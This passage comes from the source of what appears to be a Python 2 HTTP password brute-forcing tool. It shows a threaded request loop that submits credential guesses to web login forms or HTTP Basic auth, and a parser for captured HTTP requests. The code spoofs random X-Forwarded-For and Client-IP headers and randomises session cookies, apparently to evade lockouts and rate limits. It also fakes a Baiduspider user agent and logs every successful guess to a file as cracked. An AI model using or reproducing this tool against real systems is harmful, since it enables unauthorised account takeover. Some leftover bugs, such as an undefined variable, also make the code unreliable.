'GB2312', 'GBK', 'iso-8859-1', 'big5'] 22 | if lang: all_lang.insert(0, lang) 23 | for lang in all_lang: 24 | try: 25 | return str.decode(lang) 26 | except: pass 27 | try: 28 | return str.decode('ascii', 'ignore') 29 | except: 30 | pass 31 | 32 | def thread_exit(self): 33 | self.lock.acquire() 34 | self.request_thread_count -= 1 35 | self.lock.release() 36 | 37 | def add_cracked_count(self): 38 | self.lock.acquire() 39 | self.cracked_count += 1 40 | self.lock.release() 41 | 42 | 43 | def fake_ip(self, local_headers): 44 | if self.args.fip: # Random IP 45 | local_headers['X-Forwarded-For'] = local_headers['Client-IP'] = \ 46 | '.'.join(str(random.randint(1,255)) for _ in range(4)) 47 | 48 | def fake_session_id(self, local_headers): 49 | if self.args.fsid: # Random session ID 50 | m = re.search('%s=([^;^ ]*)' % self.args.fsid, self.http_headers['Cookie']) 51 | if m: 52 | random_str = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(len(m.group(1)))) 53 | local_headers['Cookie'] = local_headers['Cookie'].replace( 54 | m.group(0), '%s=%s' %(self.args.fsid, random_str)) 55 | else: 56 | self.print_s('[Warning] can not find session ID %s in cookie' % self.args.fsid) 57 | 58 | def do_request(self): 59 | while not self.STOP_ME: 60 | try: 61 | origin_params = params = self.queue.get(timeout=1.0) 62 | except: 63 | thread_exit(self) 64 | return 65 | 66 | if params is None: 67 | self.queue.task_done() 68 | thread_exit(self) 69 | return 70 | 71 | local_headers = copy.deepcopy(self.http_headers) 72 | fake_ip(self, local_headers) 73 | 74 | 75 | data = self.args.query 76 | params_dict = dict(urlparse.parse_qsl(data)) 77 | 78 | if self.args.basic: 79 | local_headers['Authorization'] = 'Basic ' + base64.b64encode(params) 80 | else: 81 | params = params.split('^^^') # params = ['ztz', '{user}123456'] 82 | i = 0 83 | for key in self.selected_params_keys: 84 | params_dict[key] = params[i] 85 | i += 1 86 | 87 | for p in self.selected_params: 88 | for p2 in params_dict: 89 | params_dict[p] = params_dict[p].replace('{%s}' % p2, params_dict[p2]) 90 | 91 | for p in params_dict: 92 | # hash support: MD5, MD5_16 93 | if self.args.md5.count(p) > 0: 94 | params_dict[p] = hashlib.md5(params_dict[p]).hexdigest() 95 | elif self.args.md5_16.count(p) > 0: 96 | params_dict[p] = hashlib.md5(params_dict[p]).hexdigest()[8:24] 97 | 98 | 99 | # data = urllib.urlencode(params_dict) 100 | # data_print = dict((k,v) for k,v in params_dict.iteritems() if k in self.selected_params) 101 | # data_print = urllib.urlencode(data_print) 102 | # data_print = urllib.unquote(data_print) 103 | 104 | if not self.args.nov: 105 | self.print_s('[.]Scan %s' % (params if self.args.basic else data_print)) 106 | self.print_s('[.]Scan %s' % (params)) 107 | 108 | max_err_count = 1 109 | err_count = 0 110 | while err_count < max_err_count: 111 | try: 112 | conn_func = httplib.HTTPSConnection if self.args.scm == 'https' else httplib.HTTPConnection 113 | conn = conn_func(self.args.netloc, timeout=30) 114 | if self.args.debug: conn.set_debuglevel(1) 115 | 116 | if self.args.get: 117 | conn.request(method='GET', url='%s?%s' % (self.args.path, data), headers=local_headers) 118 | else: 119 | conn.request(method='POST', url=self.args.path, body=data, headers=local_headers) 120 | 121 | response = conn.getresponse(); res_headers = str(response.getheaders()) 122 | _ = re.search('charset=([^"^>^\']*)', res_headers); charset = _.group(1).strip() if _ else None 123 | 124 | html_doc = decode_response_text(response.read(), charset) 125 | conn.close() 126 | 127 | html_doc = html_doc.replace('\r', r'\r').replace('\n', r'\n').replace('\t', ' ') 128 | html_doc = re.sub(' +', ' ', html_doc) # Leave one blank only 129 | 130 | if self.args.debug: 131 | self.lock.acquire() 132 | print '*' * self.console_width 133 | print '[Response headers and response text]\n' 134 | print res_headers + '\n' + system_encode(html_doc) 135 | print '\n' + '*' * self.console_width 136 | self.lock.release() 137 | 138 | found_err_tag = False 139 | for tag in self.args.err: 140 | if html_doc.find(tag) >= 0: 141 | found_err_tag = True 142 | 143 | found_suc_tag = False 144 | suc_tag_matched = '' 145 | for tag in self.args.suc: 146 | if html_doc.find(tag) >= 0: 147 | suc_tag_matched += tag + ' ' 148 | found_suc_tag = True 149 | suc_tag_matched = suc_tag_matched.strip() 150 | 151 | data = urllib.unquote(data) 152 | cracked_msg = '' 153 | if (not self.args.no302 and response.status == 302): 154 | cracked_msg = '[+]%s \t\t{302 redirect}' % data 155 | 156 | if response.status == 200 and self.args.err and not found_err_tag: 157 | cracked_msg = '[+]%s \t\t{%s not found}' % (data, self.args.err) 158 | 159 | if self.args.suc and found_suc_tag: 160 | cracked_msg = '[+]%s \t\t[Found %s]' % (data, suc_tag_matched) 161 | 162 | if self.args.herr and res_headers.find(self.args.herr) < 0: 163 | cracked_msg = '[+]%s \t\t[%s not found in headers]' % (data, self.args.herr) 164 | 165 | if self.args.hsuc and res_headers.find(self.args.hsuc) >=0: 166 | cracked_msg = '[+]%s \t\t[Found %s in headers]' % (data, self.args.hsuc) 167 | 168 | if self.args.basic and response.status < 400: 169 | local_headers['Authorization'] = '' 170 | cracked_msg = '[+][Basic Auth] %s %s' % (params, self.args.u) 171 | 172 | if cracked_msg: 173 | add_cracked_count(self) 174 | self.print_s(system_encode('[+OK]' ), color_red=True) 175 | with open(self.args.o, 'a') as outFile: 176 | outFile.write(cracked_msg + '\n') 177 | 178 | if err_count == max_err_count: self.queue.put(origin_params) # put in queue again 179 | 180 | if self.args.sleep: time.sleep( float(self.args.sleep) ) 181 | 182 | break 183 | 184 | except Exception, e: 185 | err_count += 1 186 | try: 187 | conn.close() 188 | except: 189 | pass 190 | time.sleep(3.0) 191 | 192 | self.queue.task_done() -------------------------------------------------------------------------------- /lib/request.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/request.pyc -------------------------------------------------------------------------------- /lib/request_file.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # 载入http请求 4 | # 5 | 6 | import urlparse 7 | import re 8 | import os 9 | 10 | 11 | def parse_command_line_url(self): 12 | if not self.args.u.lower().startswith('http'): 13 | self.args.u = 'http://%s' % self.args.u 14 | (self.args.scm, self.args.netloc, self.args.path, _params, self.args.query, _fragment) = \ 15 | urlparse.urlparse(self.args.u, 'http') 16 | parse_host_port(self) 17 | 18 | 19 | def parse_host_port(self): 20 | if self.args.netloc.find(':') < 0: # under Linux, host_name and port are both required 21 | self.args.host = self.args.netloc.strip() 22 | self.args.host_port = 443 if self.args.scm == 'https' else 80 23 | else: 24 | self.args.host, self.args.host_port = self.args.netloc.split(':') 25 | self.args.host = self.args.host.strip() 26 | self.args.host_port =int(self.args.host_port) 27 | 28 | def parse_request(self): 29 | self.http_headers = { 30 | 'Cache-Control': 'no-cache', 31 | 'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html; fuckme)' 32 | } 33 | 34 | if self.args.u: 35 | parse_command_line_url(self) 36 | return 37 | 38 | # Load HTTP request from file 39 | if not os.path.exists(self.args.f): 40 | raise Exception('HTTP request file not found.') 41 | 42 | self.args.scm = 'https' if self.args.https else 'http' 43 | 44 | with open(self.args.f) as f: 45 | post_text = f.read() 46 | lines = post_text.split('\n') 47 | 48 | first_line = lines[0].strip() 49 | self.args.get = True if first_line.upper().startswith('GET') else False 50 | self.args.netloc = re.search('Host: (.*)', post_text).group(1).strip() 51 | 52 | self.args.path = first_line.split(' ')[1] 53 | if self.args.path.find('://') > 0: # absolute URL 54 | self.args.path = self.args.path.replace('://', '') 55 | self.args.path = self.args.path[self.args.path.find('/'):].strip() 56 | 57 | if self.args.get: 58 | (_, _, self.args.path, _, self.args.query, _) = urlparse.urlparse(self.args.path) 59 | else: 60 | for i in range(len(lines)-1 , 0, -1): 61 | if lines[i].strip(): 62 | self.args.query = lines[i].strip() 63 | break 64 | 65 | # deal with headers, no accept encoding-gzip 66 | keys = ['User-Agent', 'Cookie', 'Origin', 'Referer', 67 | 'Client-IP', 'X-Forwarded-For', 'X-Forwarded-Host', 68 | 'Via', 'Content-Type', 'Accept-Language', 'Authorization'] 69 | for k in keys: 70 | m = re.search('%s: (.*)' % k, post_text) 71 | if m: self.http_headers[k] = m.group(1).strip() 72 | 73 | parse_host_port(self) -------------------------------------------------------------------------------- /lib/request_file.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/request_file.pyc --------------------------------------------------------------------------------